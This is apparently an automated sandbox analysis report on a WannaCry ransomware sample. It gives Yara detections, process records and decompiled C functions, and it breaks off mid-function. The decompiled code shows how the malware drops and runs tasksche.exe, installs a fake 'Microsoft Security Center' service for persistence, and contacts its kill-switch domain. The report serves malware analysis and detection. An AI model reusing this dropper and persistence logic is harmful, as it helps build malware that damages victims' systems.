Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.366748536.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.366852885.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7428, Parent PID: 604

General

Target ID:	11
Start time:	13:24:02
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8512, Parent PID: 604

General

Target ID:	15
Start time:	13:24:17
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8980, Parent PID: 604

General

Target ID:	16
Start time:	13:24:23
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 9408, Parent PID: 604

General

Target ID:	20
Start time:	13:24:42
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 6132, Parent PID: 4852COMMON

Execution Graph

Execution Coverage:	71.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	64.9%
Total number of Nodes:	37
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x7705f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x7705fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

kernel32.dll, xrefs: 00407CEA
WINDOWS, xrefs: 00407DF2, 00407E0D
/i, xrefs: 00407E8D
WriteFile, xrefs: 00407D1C
C:\%s\%s, xrefs: 00407DFB
CloseHandle, xrefs: 00407D29
CreateFileA, xrefs: 00407D0F
CreateProcessA, xrefs: 00407D07
C:\%s\qeriuwjhrf, xrefs: 00407E12
tasksche.exe, xrefs: 00407DEA
D, xrefs: 00407ED3

Memory Dump Source

Source File: 00000004.00000002.369667222.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.369659566.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369680773.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369687358.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369741456.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.369667222.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.369659566.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369680773.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369687358.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369741456.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27);
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.369667222.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.369659566.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369680773.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369687358.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369741456.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

mssecsvc2.1, xrefs: 00407C95
%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90

Memory Dump Source

Source File: 00000004.00000002.369667222.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.369659566.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369680773.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369687358.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369741456.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.369667222.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.369659566.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369680773.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369687358.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369741456.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 6204, Parent PID: 604COMMON

Execution Graph

Execution Coverage:	36.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000007.00000002.962944435.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.962929941.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962965634.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962973945.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962991047.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963064015.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963075984.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
